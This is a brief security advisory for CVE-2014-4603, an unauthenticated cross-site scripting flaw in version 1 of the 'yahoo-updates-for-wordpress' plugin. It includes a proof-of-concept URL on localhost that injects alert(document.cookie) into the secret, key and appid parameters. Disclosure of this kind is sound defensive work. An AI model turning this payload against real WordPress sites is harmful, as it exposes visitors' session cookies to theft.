Wp Plugin Yahoo Updates for Wordpress

Plugin Details

Plugin Name: wp-plugin : yahoo-updates-for-wordpress
Effected Version : 1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Unauthenticated
CVE Number : CVE-2014-4603
Identified by : Anantshri
WPScan Reference URL

Disclosure Timeline

Technical Details

<a href="http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&”>http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&

Here the parameter ‘secret, key, appid’ is susceptible.